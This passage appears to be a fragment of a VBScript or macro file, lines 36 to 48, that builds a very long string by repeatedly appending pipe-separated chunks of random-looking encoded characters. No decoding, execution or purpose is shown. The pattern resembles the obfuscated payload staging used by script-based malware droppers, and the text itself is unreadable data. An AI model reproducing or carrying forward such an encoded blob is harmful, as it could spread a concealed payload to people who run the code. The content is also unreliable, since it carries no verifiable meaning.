36	str = str & "Mgxp76\|4YKRbJ\|MgASKS\|E231X0\|5HEz3f\|blORqc\|ijxBZS\|ipNqpj\|KgtvMW\|blMSLj\|5wqcyH\|hvMGqX\|6Ufe36\|LT3QJk\|bwEUi8\|3I5WXJ\|KwAeNq\|pg7wEj\|7glv5S\|Ls3wPU\|swEpk6\|LtOu3p\|5gfqy1\|bYV6Lt\|OfXlyG\|bp5HFc\|igIEsH\|fEVR72\|uHln5S\|4pNqpZ\|5SLPMn\|TvMSLs\|31XI5w\|uQdWfF\|74JkuW\|fh38le\|Ks4AiR\|XY3wxc\|5HTaVn\|Tl3GTl\|ywqQk6\|TisJf3\|1JxZqJ\|Pm1JIL\|qJhTdU\|fMMHAW\|7R7hMW\|fMdwlj\|MWAz5H\|3J1RTr\|5nTc16\|iQTSLt\|OfXlyG\|bp5HFQ\|TSTMiS\|yQ51lV\|31UpNq\|pT3SLs\|3wPUsw\|EpiNJQ\|iSiQdG\|iQ7GTd\|Kw7eiN\|JQinMS\|fghl5Q\|Jkbglt\|igle78\|fx7wPc\|ugAzVg\|ASKUle\|Ku3p5g\|uX6Ubp\|5sLz7R\|TgKwxl\|ugPJK6\|0QMGb2\|sHfEV6\|Lz7RTm\|3w3JuG\|b2KwEn\|V6Lz7R\|TmKwEl\|V6Lz7R\|Td3wXJ\|KwAeNq\|ps3wPU\|swEpiN\|JQiSiX\|6nXJMU\|3p5gfq\|y1bYiN\|JQfRTp\|5sQQ51\|lgKwxl\|ugPJK6\|4pNqpz\|7RTd3w\|XJKwAe\|iNJQfR\|Tp5sQQ\|51ld3w\|XJKwAe\|i6UX6n\|XJMUtl\|Os4AiP\|b2KwJY\|igIEsH\|fEi6UX\|6UlWi8\|3z52Eg\|Kwxlb1\|hpMGbz\|k6Lz7R\|TgKwxl\|ugPJK6\|4piPbY\|3wFX6l\|Xl76Lv\|yWpT5W\|lgKwxl\|iNJQbn\|XvVUA0\|3wEu31\|hJbWlc\|3sQQMG\|b2bWlc\|3fLh7g\|QciN8c\|i83h5R\|Xli6UX\|6UbviP\|7YKwxl\|igASKU\|leKu3p\|5gueq1\|bP5WbZ\|3lXJMW\|fh5s4A\|i83h5R\|XlNqpz\|"
37	str = str & "7RTmKw\|EliNJQ\|fRTp5s\|QQ5HTa\|swEpbW\|lc3sEs\|3wPUdg\|le3s4p\|NqpT3S\|LmqHPz\|3sQQMG\|b2dgle\|3s4piN\|JQilcS\|i6yQd8\|XhMHuY\|iRXJMl\|XlyGbp\|5HFQks\|4Wi6T7\|iSLuKg\|feNqpz\|7RTmKw\|EliNJQ\|fRTp5s\|QQ5HTa\|swEpbW\|lc3sEs\|3wPUdg\|le3s4p\|Nqp852\|L1Kglc\|3sLm3w\|3Jk6Lz\|7RTmKw\|ElV64x\|i6UQZN\|FQilcS\|Nqpp5n\|bPM1fh\|5PLvM2\|4Ai8le\|uGb2k6\|4xV6Lz\|7RTmKw\|ElV64S\|ZsiciN\|8QkqJk\|swyQKw\|EJb1PI\|ywxq5G\|mQZS40\|iPbY3w\|FX6nXJ\|MUxl3n\|bd7RTp\|5WMQZs\|LuMWlt\|k6Lm3w\|3Jk6Lz\|7RTmKw\|ElV6Lp\|5nbPM1\|fh5PLv\|M24tiN\|8Qks4p\|NqpT3S\|LmqHPz\|3sQQMG\|b2dgfW\|7PXJMW\|le324p\|iNJQd8\|XhMHuY\|iRXJMU\|tlOs4p\|iPbY3w\|FX6lTl\|ywbT5W\|UQZsLu\|MWltk6\|LXKwqY\|iRXJMU\|xp5Wuc\|igle78\|fx7wPc\|ugAzi6\|cQms4p\|i6UX6U\|fFK1qQ\|bgBX6U\|fe36LT\|3QJkbw\|EUi8lW\|NqpT3S\|LvyWpT\|5WlgKw\|xlVUPJ\|bwEUdH\|3d7RTl\|ywJQfg\|hl5SLP\|OglJi8\|bvNqpz\|7RTmKw\|EliNJQ\|fRTp5s\|QQ5HTa\|swEpbW\|lc3sEs\|3wPUdg\|le3s4p\|Nqpm5H\|A0NqpP\|OglJi8\|bvNqpP\|5WqQsw\|yX6Uxv\|5G4X6W\|ASKUle\|Ku3p5g\|ueqHxv\|MHuX6U\|fcMHuX\|6lTlyw\|bT5WUQ\|Zs4SiQ\|JkbwEU\|i8lWNq\|pP5WqQ\|swyX6U\|fe36Lg\|7wEj7g\|lv5QJk\|uGfSiP\|72K1bl\|swEpk6\|LtOu3p\|5gfqy1\|bYV6Lt\|"
38	str = str & "OfXlyG\|bp5HFc\|igIEsH\|fEV6Lt\|Of3h5R\|fli6UX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|pT3SLu\|MWltk6\|LtOf3h\|5Rfli6\|UQZNFQ\|ijx8bu\|0+iSLu\|KgfeNq\|pzKgfc\|5gASKS\|E23w7G\|MWlJ3s\|4Ss8tP\|wfAmdJ\|XLdPAX\|quXisu\|EP1RXv\|3nbGy1\|Tl18Ip\|yGTvMH\|AW7Px2\|KHE25P\|0Si6yQ\|51ld3w\|XJKwAe\|i6yS16\|iWigIE\|sHfEV6\|LtOf3h\|5RflV6\|4SuUfR\|1IXKiQ\|Jkbwxz\|3qJkMH\|hl5gxv\|yWYeMW\|fn3gfc\|31blk6\|TisJf3\|1JxZqJ\|Pm1JIL\|qJhTdU\|fMMHAW\|7R7hMW\|fMdwlj\|MWAz5H\|3J1RTr\|5nTc16\|iQTSLt\|OfXlyG\|bp5HFQ\|TSTMiS\|yQ51lV\|31UpNq\|pP5WqQ\|swyX6U\|bp5sLS\|5gET5l\|XlyGbp\|5HFcig\|Tc5Utl\|OufFK1\|XJM20Q\|yWxeuH\|fj7glv\|5UfFK1\|XJM20Q\|yWxefG\|Tp7Rbl\|5QJkbg\|ltigle\|78fx7w\|PcugAz\|Nqp8Kw\|JQ5HTa\|dWfGsw\|EpV6Lv\|yWpZMW\|7T5WUX\|6Ubp5s\|Lz7RTg\|Kwxlug\|PJK60Q\|MGb2bW\|Ac3gf2\|ugPJK6\|0QMGb2\|sHfEV6\|Lz7RTm\|3w3JuG\|b2KwEn\|Nqp8Kw\|JQMGb2\|dgle3s\|0QMGb2\|uHfj7g\|lv5S0Q\|MGb2fg\|ftM8bp\|MS0QMG\|b2fgft\|M83p5g\|uciRXJ\|Ml3h5R\|flNqpz\|7RTgKw\|xlugPJ\|K64AiP\|b2KwJY\|igIEbW\|lc3fLh\|7gQQkq\|JkMGb2\|uHfj7g\|lv5S4A\|iPb2Kw\|JYigIE\|uHfj7g\|lv5S4p\|Nqpz7R\|TV31UQ\|ZsLuMW\|ltk6Lt\|OutlOs\|4pNqpz\|7RTwyw\|xI3s4A\|iPb2Kw\|JYigIE\|"
39	str = str & "fWPc7w\|uQkqJk\|MGb2fg\|ftM8bp\|MS4AiR\|XY3wxc\|5HTaVU\|fFMgPe\|38fe7W\|l25HEt\|3wEJuG\|b2KwEn\|M2QQiS\|fubuIq\|TsiQkq\|JkMGb2\|fgftM8\|3p5guQ\|ZsLgMH\|Beqnfp\|5gbqy1\|bYk6Lz\|7RTu3w\|I0bgl2\|V6LgMH\|BebHfJ\|fgftM8\|Eh5wuQ\|kqJkuH\|fJigAS\|KUA23J\|leKs4A\|i83z52\|EZMgfe\|fgfF78\|3p5guY\|iRXJMU\|3p5gfq\|y1bYV6\|4xV6Lu\|Mnfli6\|UX6lXl\|76LvyW\|po317T\|5WUQZs\|LgMHBe\|qGTly1\|blfgfF\|783p5g\|uYiRXJ\|Mlbl51\|LgKwxl\|V6Lgyw\|xz3s0Q\|bWPcMH\|uQkqJk\|yWxesw\|Ed3wXJ\|KwAeiN\|JQbWPc\|MHuX6W\|Tc5lXl\|yGbp5H\|EPOglz\|7RmQZs\|Lgywxz\|3qJkyW\|xesHfE\|b1hpMG\|bziNJQ\|kPTlyw\|bT5WUY\|MGb2bW\|lc3fLh\|7gQcMG\|b2uHfj\|7glv5S\|xz7RTV\|31Ucin\|MSi6UQ\|ZNFQiS\|iQkqJk\|yWxefG\|Tp7Rbl\|5S4Ai8\|3h5RXl\|Nqpz7R\|Tg5HxU\|31Tqy1\|bYiNJQ\|dwlUk6\|Lz7RTg\|Kwxlug\|PJK60Q\|ms0Qsw\|Ed7RTs\|31yYiR\|XJMU3p\|5gfqy1\|bYV64S\|16iQks\|4pNqp1\|Kglc3s\|LvyWpZ\|MW7T5W\|Ueq1bP\|5WbZ3l\|XJMWfh\|5s4Ai8\|3h5RXl\|Nqpz7R\|TmKwEl\|iNJQfR\|Tp5sQQ\|5HTadG\|TnswEp\|VlTlyw\|bmKwEl\|i6UX6U\|lWigTc\|5l72K1\|bJ3wFQ\|ZsLgyw\|xz3sLu\|KgfeNq\|pT3SLm\|qHPz3s\|QQMGb2\|dgle3s\|4piNJQ\|ilcSi6\|yQd8Xh\|MHuYiR\|XJMlXl\|yGbp5H\|FQks4W\|i6T7iS\|LuKgfe\|NqpS5g\|Ed3wXJ\|"
40	str = str & "KwAeb1\|hpMGbz\|iNJQfR\|TI3qJk\|yWxesw\|Ed3wXJ\|KwAeiN\|JQfRTI\|3qJkbw\|xz3ulW\|i8leuG\|b2k6Lz\|7RTmKw\|ElV64S\|w2iQks\|4AiN8Q\|fghl5Q\|JkyWxe\|swEd3w\|XJKwAe\|iNJQbW\|PcMHuX\|6Ufe36\|LT3QJk\|bwEUi8\|lWNqpT\|3SLS5g\|ET5lXl\|yGbp5H\|FQfghl\|5QJksw\|yQyWxe\|sHfEb1\|hpMGbz\|iPbY3w\|FX6Wle\|78fx7w\|PcugAz\|iNJQsw\|Ed7RiY\|iN8ciR\|XJMUxp\|5Wuci6\|iAiS0Q\|7WTu31\|hJqHAt\|MgP23s\|4pNqpT\|3SLp5n\|bPM1fh\|5PLvM2\|4+iN4Q\|fghl5Q\|JkMGb2\|dgfW7P\|XJMWle\|324AiP\|b2KwJY\|i8xl3n\|qYiRXJ\|MUxp5W\|ucigle\|78fx7w\|PcugAz\|i6JQms\|4pi6UX\|6UlWi8\|xNy1Xl\|k6Lz7R\|Tm3w3J\|uGb2Kw\|Eni6UQ\|ZsLmqH\|Pz3sQQ\|MGb2sH\|fEi6UQ\|fghl5Q\|JkswyQ\|MGb2fW\|Pc7wuQ\|ZNFQij\|x8bu0+\|iSLuKg\|feNqpv\|yWpo31\|7T5WUe\|fGTp7g\|fmKwEl\|iRXJMU\|tlOs4W\|i6iAiS\|4WiRXJ\|Ml3h5R\|flNqpP\|5WqQsw\|yX6WTc\|5l72K1\|bJ3wFQ\|ZsLuMn\|flNqpS\|5gET5l\|XlyGbp\|5HFQZs\|Lgywxz\|3qJkbw\|EUi8lW\|NqpP5W\|qQswyX\|6UlWi8\|Ev76LS\|5gE1MW\|lJ7gfe\|iPbY3w\|FX6WAS\|KUEl7J\|leKsE1\|MWlJ3u\|xp5WuQ\|MGb2dg\|le3qJk\|bwEUi8\|lWNqpP\|5RXlNq\|pvyWpo\|317T5W\|UefGTp\|7gfmKw\|EliRXJ\|MUxp5W\|uX6UlW\|iRXJMl\|3h5Rfl\|iN0+i6\|iBb8fm\|ZSiQfg\|hl5QJk\|5HTadW\|fGswEp\|Vl72K1\|bldgle\|"
41	str = str & "3sLz7R\|TV31UQ\|TS4SZs\|iQTSLz\|7RTwyw\|xI3qJk\|bwEUi8\|lWNqpS\|5gE1MW\|lJ7gfe\|iNJQfR\|TI3qJk\|yWxesw\|Ed3wXJ\|KwAeiN\|JQbWPc\|MHuX6U\|fe36LT\|3QJkbw\|xz3qJk\|5HTadW\|fGswEp\|Vl72K1\|bldgle\|3sLz7R\|TmKwEl\|NqpP5W\|qQswyX\|6l7l5W\|qX6UlW\|igTc5l\|XlyGbp\|5HEPOg\|lz7RmQ\|ZsLgyw\|xz3sLu\|KgfeNq\|pvyWpo\|317T5W\|UefGTp\|7gfmKw\|ElNqpv\|yWpo31\|7T5WUe\|fGTp7g\|fmKwEl\|i6T5iS\|4WiRXJ\|MlXlyG\|bp5HFQ\|TS4S1s\|iX6UlW\|iRXJMl\|3h5Rfl\|iN0+i6\|iBb8fm\|ZSiQfg\|hl5QJk\|5HTadW\|fGswEp\|Vl72K1\|bldgle\|3sLz7R\|TV31UQ\|TS4SZs\|iQTSLz\|7RTwyw\|xI3qJk\|bwEUi8\|lWNqpP\|5WqQsw\|yX6WAS\|KUA23J\|leKsEN\|5gAz3q\|Jk5HTa\|dWfGsw\|EpVUXc\|5GXlNq\|pgMHBe\|bgfc31\|blbWlc\|3sLz7R\|TgKwxl\|ugPJK6\|0QfRTI\|3qJkbn\|XvVUIv\|7WfgKw\|xliRXJ\|Mlbl51\|LgKwxl\|V6Lz7R\|TgKwxl\|ugPJK4\|JkbwEU\|iPXIyQ\|JkuGfS\|igleMH\|3v5gqX\|6UAei8\|f2MWA2\|iPTlMG\|ft3sLo\|31hJNq\|p8KwJQ\|5gEr5H\|TaNqp8\|KwJQ3W\|Ac3gf2\|5WPt3q\|Jkbglt\|ig3p5g\|fpyHAe\|Nqp8Kw\|JQ3WAc\|3gf2Kw\|Xv5QJk\|bgltig\|PI7gA2\|7wFX6W\|xz7g3v\|5gblMS\|4Ai6iS\|Nqpg5G\|iQbwPj\|K6LUMW\|lH3sLT\|5SLgMH\|BebRTp\|7WfzNq\|pj3RTp\|7WfziN\|JQyHb2\|K13lM2\|4Wigb2\|K13lVn\|Lh7gQQ\|TS4S96\|iX6UEl\|"
42	str = str & "ORqX6U\|lWigXU\|MWlH31\|mQZsLp\|5nXUMW\|lH31mQ\|fghl5Q\|JkMHXY\|3RTp7W\|fziNJQ\|KwEz3R\|Tp7Wfz\|NqpP5W\|qQswyX\|6U3vMS\|LPywXY\|igb2K1\|3li8le\|i83z52\|EUMWlH\|31mX6U\|lWigb2\|K13lVW\|lzMWfh\|3RUQZs\|LuMnfl\|iPbY3w\|FX6UlW\|igb2K1\|3lVW32\|3wfzMg\|Pj3s4+\|iN4Qfg\|hl5QJk\|swyQsw\|Ed7RiY\|msxp5n\|XUMWlH\|31mc3R\|Tp7Wue\|MgPJK6\|0xks4A\|iN4QdG\|iQ3RTp\|7Wue3R\|Tp7WfJ\|O1LliN\|JQmsLu\|KgfeNq\|pT3SLo\|5GqQbn\|XvVU3v\|5gblMU\|fFK1XJ\|M24Y3R\|Tp7Wue\|MgPJK6\|4Wi6TM\|iS4Wi6\|TsbuX3\|qJ0Sks\|LuKgfe\|NqpgMH\|BeqGTl\|y1blbW\|Ac3gf2\|kgb2K1\|3lVnLh\|7gQQTS\|4S16iQ\|TS4SuU\|fNwuXm\|iSUX6U\|fe36LT\|3QJkKd\|J0Nqpg\|5GiQbw\|PjK6LW\|Kwxli8\|lei83z\|52En31\|bW5HxU\|31iYig\|b2K13l\|VnLh7g\|QQTS4S\|16iQks\|EWKwxl\|M0Jksw\|yQd8Xh\|MHuQkP\|X05glJ\|kg3p5g\|ue5WPt\|3s0QiS\|FSkshf\|qWAI5W\|qYuGLc\|K1qY3W\|lc3sEe\|ywIlV6\|4SVSip\|ksUpiN\|JQiWxe\|K2iQfg\|hl5QJk\|Ks4AKs\|cxNqpP\|5WqQsw\|yX6UEl\|ORqX6U\|lWigUQ\|ZSLgMH\|Be3HfJ\|3WAc3g\|f2k6LU\|MWlH3s\|E0y1bY\|i6yQil\|0Si6Ue\|MGfS3W\|Ac3gf2\|M2Ej5G\|fe76Lu\|KgfeNq\|pg5GiQ\|bwPjK6\|LWKwxl\|i8lei8\|3z52En\|31bW5H\|xU31iY\|igb2K1\|3lVnLh\|7gQQTS\|4S16iQ\|ksEWKw\|xlM0Jk\|swyQd8\|XhMHuQ\|"
43	str = str & "kPX05g\|lJkg3p\|5gue5W\|Pt3s0Q\|iSFSks\|hfqWAI\|5WqYuG\|LcK1qY\|3Wlc3s\|EeywIl\|V64SVS\|ipksUp\|iNJQiW\|xeK2iQ\|fghl5Q\|JkbnXv\|VWbl5g\|fJ3w3p\|5guY3W\|lc3sE0\|y1bYkq\|JkbwEU\|i8lWNq\|po31hJ\|NqpP5W\|qQswyX\|6U3z52\|En31bW\|5HxU31\|iY3RTp\|7WueMg\|PJK64W\|i6TMiS\|4Wi6Ts\|buX3qJ\|0SksEh\|7Rb2Kw\|TI7gfz\|iNJQmS\|4riNqX\|6U3z52\|Ej5GLE\|3Wlc3s\|Lp5nXJ\|ywxc3g\|l2i6yQ\|ilbXu6\|Eudf4S\|i60Q3R\|Tp7Wue\|MgPJK6\|4Wi6TM\|uUfNwu\|Xm1PbX\|u6Eudf\|4SVPb2\|7wuX6U\|3z52Ej\|5GLE3W\|lc3sL1\|uHX2K1\|LJVnXj\|MWl07g\|3I5gxe\|ywIli6\|0Q3RTp\|7WueMg\|PJK64W\|i6TMuU\|fNwuXm\|1RTrMW\|0e7GXW\|iSxuMn\|flNqpg\|MHBeyH\|A0Ow3p\|5guQKw\|Ez7gPc\|5gbpMS\|4Wi6T2\|KHE256\|Eudf4x\|iS4cig\|b2K13l\|VnLh7g\|QQTS4S\|1PTPqI\|lNdPx2\|KHE256\|Eudf4x\|iSxuMn\|flNqpg\|MHBeyH\|A0Ow3p\|5guQKw\|Ez7gPc\|5gbpMS\|4Wi6T2\|KHE256\|Eudf42\|iS4cig\|b2K13l\|VnLh7g\|QQTS4S\|1PTPqI\|lNdPx2\|KHE256\|Eudf42\|iSxuMn\|flNqpg\|5GiQbw\|PjK6LW\|5HxU31\|iQswFQ\|bnXvVW\|7l7g3v\|5gblMS\|QQ3RTp\|7WueMg\|PJK64W\|i6TMiS\|4pVnXI\|yW3v5g\|blMnmX\|6UlWig\|3v5gbl\|MSEeyw\|IliN0+\|i6Tsbu\|X3qJ0S\|iPbY3w\|FX6UlW\|ig3v5g\|blMSEe\|ywIliN\|0+i6Th\|71bvMn\|feVWle\|3SiQfg\|hl5QJk\|"
44	str = str & "swyQ3W\|Ac3gf2\|VWEh5w\|uQZNFQ\|ilTPqI\|lNd8fs\|iSLuKg\|feNqpT\|3SLW5H\|xU31ie\|5WPt3s\|4BZS4S\|TPTPqI\|lNd8ue\|qUloiS\|LuKgfe\|NqpT3S\|LW5HxU\|31ie5W\|Pt3s4B\|ZS4SuG\|lz7gft\|iP3v5R\|ft3sLT\|5W3vMW\|Ih7glv\|5SiQfg\|hl5QJk\|3WAc3g\|f25WPt\|3s4Aig\|3v5gbl\|MSEoyw\|IlNqpT\|3SLm3w\|FY3WAc\|3gf25W\|Pt3sUB\|Zj8Qfg\|hl5SLW\|5WPt3s\|4Ai8xl\|3nqY3W\|Ac3gf2\|5WPt3s\|xm3wFY\|3WAc3g\|f25WPt\|3sUtms\|UQbwxz\|3sLW5W\|Pt3s4A\|ig3v5g\|blMWEh\|5wuQbw\|EUi8lW\|NqpW5H\|xU31ie\|y1bJMW\|lS71bl\|M24AiN\|iQk24J\|Nqpd31\|qQ5gEr\|5HTaiN\|JQMHhl\|5gxvyW\|YeyGTl\|y1blMH\|hvMnbj\|71qQkg\|b2K13l\|VnLh7g\|QQTSiQ\|iSyQ3W\|Eh5wuQ\|TS4SVW\|xeK2ip\|Nqpc5W\|tvyWYe\|7Hle3g\|AGMGbE\|5guQZs\|4GNqpc\|5WtvyW\|Ye7gP2\|3HfJMg\|PJK64A\|i6TGMH\|X2K1LJ\|VWfF3s\|iX6Wxe\|KHASKS\|EG5GTr\|KwEn3g\|l23wXJ\|5GTEiN\|JQiSiX\|6WxeKH\|ASKSEh\|MW7I5w\|fe7RmQ\|Zs4SV2\|A6iPTP\|qIlNdP\|x2KGTc\|Vn7z3S\|4Si6yQ\|3WAc3g\|f25WPt\|3qJk3W\|Ac3gf2\|KwXv5S\|4AiRXY\|3wxc5H\|TaVnTl\|3GTlyw\|qQk6Ti\|sJf31J\|xZqJPm\|1JILqJ\|hTdUfM\|MHAW7R\|7hMWfM\|yHxhMG\|XlMIxW\|5HxU31\|TM3gfW\|y1fc7g\|lj5HEM\|iSUX6U\|lWi8le\|uGb2i6\|hW5HxU\|31TpyH\|AeV6ic\|iSUQZs\|40iPbY\|3wFX6W\|xeKHAS\|"
45	str = str & "KSEpyH\|Ae5gAj\|y1bp5H\|FQZsLW\|5HxU31\|ieMgPJ\|K4Jkbw\|xz3qJk\|5gEr5H\|TaVWlj\|5HEc5H\|Xh7glv\|5S4Aig\|3v5gbl\|MWlj5H\|FX6Ufe\|36LT3Q\|Jk5gEr\|5HTaVn\|Xh7WuY\|kqJkbw\|EUi8lW\|NqpP5W\|qQswyX\|6Ufe36\|LT3QJk\|bwEUi8\|lWNqpP\|5WqQsw\|yX6UEl\|ORqX6U\|lWi8le\|uGb2kR\|XjKgb2\|K13lM2\|xUMWlH\|3sE0y1\|bYks4A\|iN4Qfg\|hl5QJk\|MHfhMW\|XYbWlc\|3sLUMW\|lH3sEq\|y1bYNq\|pzyHhU\|MWlH31\|mQZsLz\|yHhUMW\|lH31mW\|3RTp7W\|ueMgPJ\|K6yS96\|iX6Ufe\|36LT3Q\|JkbwEU\|i8lWNq\|pP5WqQ\|swyX6U\|fe36LT\|3QJkdW\|fF74Jk\|b1T2VW\|Xc3wP2\|NqpP5W\|qQuGfS\|Nqpd7w\|iQKwEz\|7gPc56\|4Y5GbE\|MgupNq\|pZ5SLP\|MnTvMS\|Ls31XI\|5wuQdW\|fF74Jk\|swyQbn\|XvVU3v\|5gblMU\|fFK1XJ\|M2hm3w\|3Jk83z\|52ER31\|bdMgfj\|KwPcbW\|Ac3gf2\|kN4pVN\|mpi6yQ\|infz31\|TziSUQ\|fghl5Q\|JkMGlz\|MgPJK6\|4Ai8xl\|3nqYbn\|XvVU7l\|7PX03w\|Xpywxg\|5HxU31\|iYm6Uc\|m2UQTS\|4S71Xl\|MnmSNq\|pc5Wtj\|KgMQdg\|fW76hg\|MHBebH\|fJuGLl\|yHlh58\|3v5gbl\|MSQ0ks\|0zks4W\|i6TqMW\|AnMWPt\|bgPJyf\|xXKwX2\|5GXv3n\|bMfHle\|3gAGMI\|xd7gP2\|76LX3w\|EI1PL2\|5H72yw\|IziSxv\|7Rl03q\|JkbWA2\|i8fhyH\|QQ3WAc\|3gf2i8\|lei83z\|52En31\|bW5HxU\|31iYMG\|lzMgPJ\|K6UeMG\|fS3WAc\|3gf2M0\|Jk5gEr\|yHhnig\|3v5gbl\|"
46	str = str & "MSE0y1\|bYi6yQ\|ilxLMR\|L8y1bh\|1PTvyw\|Ip5W7M\|dwljMW\|Az5H3J\|18le7g\|f25WfJ\|i8fFMg\|xvMWf2\|iSxv7R\|l03qJk\|5gEryH\|hnig3v\|5gblMS\|E0y1bY\|i6yQil\|x831Xr\|7gA0iS\|xv7Rl0\|3qJkdW\|fF74Jk\|bwxz3q\|JkMGlz\|MgPJK6\|4Ai8xl\|3nqYbn\|XvVU7l\|7PX03w\|Xpywxg\|5HxU31\|iYm6Uc\|m2UQTS\|4SbgAj\|7wIl5n\|bzigPe\|36Lz31\|bJKwEn\|M2iX6W\|xeKHXY\|32LzO1\|X0y1bY\|i6yQil\|xL5g0Q\|f1XlMn\|mSVgAJ\|O1LlNq\|pg5GiQ\|bwPjK6\|LW5HxU\|31iQsw\|FQbnXv\|VW7l7g\|3v5gbl\|MShzO1\|X0y1bY\|ksEz7w\|TW5HxU\|31TzNq\|pc5Wtj\|KgMQ3W\|Ac3gf2\|VnLh7g\|QQTS4S\|18P0Mg\|xpyHPJ\|KwAei8\|bh7gPM\|dwljMW\|Az5H3J\|18le7g\|f25WfJ\|i8fFMg\|xvMWf2\|iSxv7R\|l03qJk\|5gEryH\|hnig3v\|5gblMS\|E0y1bY\|i6yQil\|x831Xr\|7gA0iS\|xv7Rl0\|3qJkdW\|fF74Jk\|bwEUi8\|lWNqpP\|5WqQuG\|fSNqpd\|7wiQ5g\|EryHhn\|kg3v5g\|qc5GbE\|MgupNq\|pZ5SLP\|MnTvMS\|Ls31XI\|5wuQdW\|fF74Jk\|5gEr3W\|lc3sLW\|5HxUVg\|AJO1Ll\|Nqpg5G\|iQbwPj\|K6LW5H\|xU31iQ\|swFQbn\|XvVW7l\|7g3v5g\|blMShW\|5HxUks\|Ez7wTW\|5HxU31\|TzNqpc\|5WtWKw\|xlig3v\|5gblMS\|E0y1bY\|VgAJO1\|LlNqpT\|3SLgMH\|Be3HfJ\|3WAc3g\|f2kg3v\|5gblMS\|E0y1bY\|ksEz7w\|TW5HxU\|31TzVW\|Xv7wEJ\|iN0+iN\|4Qfghl\|5QJkqH\|Pc56Lc\|5WtjKg\|MQkg3v\|"
47	str = str & "5gblMS\|E0y1bY\|VgAJO1\|LlkqJk\|bwEUi8\|lWNqpo\|31hJNq\|pP5WqQ\|uGfSNq\|pd7wiQ\|5gEr3W\|lc3shW\|5HxUVg\|AJO1Ll\|kqJkdH\|FQb1T2\|5GiQuW\|fz7wIl\|i8ElOR\|qX6U3v\|MSLPyw\|XYig3p\|5guQsw\|FQbnXv\|VW7l7g\|3v5gbl\|MShW5H\|xUksEW\|KwxlM0\|JkswyQ\|d8XhMH\|uQkPX0\|5glJkg\|3p5gue\|5WPt3s\|0QiSFS\|kshfqW\|AI5WqY\|uGLcK1\|qY3Wlc\|3sEeyw\|IlV64S\|VSipks\|UpiNJQ\|iWxeK2\|iQfghl\|5QJk5w\|It5s4A\|ig3p5g\|ueMgPJ\|K4Jk3g\|AjyWxh\|5WcQZs\|4SiQJk\|OgxzyW\|xh5WcQ\|Zs4SiQ\|JkuHfJ\|igxeKH\|ASKjiQ\|ZsLzKg\|fc5gAS\|KSEjMW\|fh7gfz\|KgA27g\|XI76ht\|5wItkq\|JkswyQ\|kgxeKH\|ASKjie\|7gP23H\|fJMgPJ\|K64Ai6\|iSi8Pe\|36LT5l\|XJMShW\|KwxlVW\|Eh5wuc\|iUAW3W\|lj3sL1\|5GTUiS\|UQZNFQ\|m6UQdG\|iQk8Ip\|36hc5W\|tvyWY2\|VnbhMW\|7l7RLh\|7gQci8\|leuGb2\|uWfHkg\|xeKHAS\|Kjie7g\|P23HfJ\|MgPJK6\|0S16ip\|i6cQms\|UQZs4S\|fJlofJ\|Asb6EP\|w8uSi8\|Pe36Lc\|5WtvyW\|Y2VWP2\|3Gft3w\|EJM24B\|ZS4SVH\|yQiS4W\|i8XYMS\|QzX6UQ\|TSLe3g\|AjMgPJ\|K64Wi8\|XYMSQz\|X6UpiP\|bY3wFX\|6WbvyH\|TcywEr\|iNJQin\|llM2iX\|6Ufe36\|LT3QJk\|swyQkg\|xeKHAS\|Kjie7g\|P23HfJ\|MgPJK6\|4Ai6iS\|i8Pe36\|LT5lXJ\|MShWKw\|xlVWEh\|5wuciU\|AW3Wlj\|3sLPOg\|Xl56ip\|iN0+iN\|4pi8A2\|i6hXKw\|qY5gEr\|"
48	str = str & "5HTamS\|EJy1Tn\|31b0y1\|bYV6LT\|5lXJMl\|Tl7Shc\|5WtvyW\|Y2Vnbh\|MW7l7R\|Lh7gQc\|il0Sks\|4riN8p\|iNJQiU\|fyqJfm\|VUfybs\|iQqwEU\|igxeKH\|ASKjie\|y1Tn7w\|Il5nbz\|iN0+i6\|iv5S4S\|i6yQqH\|h2kNmJ\|ks4Wig\|EF5RX0\|y1bYi6\|yQqHh2\|kNmJks\|UQfghl\|5QJkOg\|xzyWxh\|5WcQZs\|4SOwfz\|iQJkbw\|EUi8lW\|NqpT3S\|Lv7Rl0\|3s4Ai6\|TU5HmS\|iPbY3w\|FX6UlW\|i8Ip36\|hc5Wtv\|yWY2Vn\|bhMW7l\|7RLh7g\|Qci8le\|uGb2uW\|fHkgxe\|KHASKj\|ie7gP2\|3HfJMg\|PJK60S\|16ipi6\|cQmsUQ\|Zs4S7H\|A23glj\|5HFe31\|hliSLZ\|MSLU5H\|XS5gPe\|K24Ai6\|TE31mS\|iPbY3w\|FX6U3z\|52EU3w\|xl7gfW\|Kwxli6\|hWKwxl\|VnLh7g\|QpNqpd\|31qQ5g\|Er5HTa\|iNJQMH\|hl5gxv\|yWYeyG\|Tly1bl\|MHhvMn\|bj71qY\|5wIt5s\|UX6Wxe\|KHASKS\|EGKwEU\|5G7z7R\|lc3s4A\|iN8X6W\|xeKHAS\|KSEJy1\|Tn31b0\|y1bYiN\|JQqHh2\|kNmJks\|4WigAW\|3Wlj31\|Lh7gQQ\|TS4SfJ\|lofJAs\|b6EPw8\|uSi6yQ\|qHh2kN\|mJkqJk\|5gEr5H\|TaVn7v\|MWtp5W\|7UK1Tl\|yGbvMn\|UQZs4S\|iQJk5g\|Er5HTa\|VWP23G\|ft3wEJ\|M24Ai6\|iv3S4S\|i6yQqH\|h2kNmJ\|ks4Wig\|EU5HX0\|y1bYi6\|yQqHh2\|kNmJkq\|Jk5gEr\|5HTaVn\|Xh7WuY\|kqJkbw\|EUi8lW\|NqpP5W\|qQswyX\|6UlWig\|AJO1Ll\|iNJQin\|hcM2iQ\|fghl5Q\|JkswyQ\|dwlUkg\|xeKHAS\|Kjie7g\|P23HfJ\|MgPJK6\|0QswEd\|"
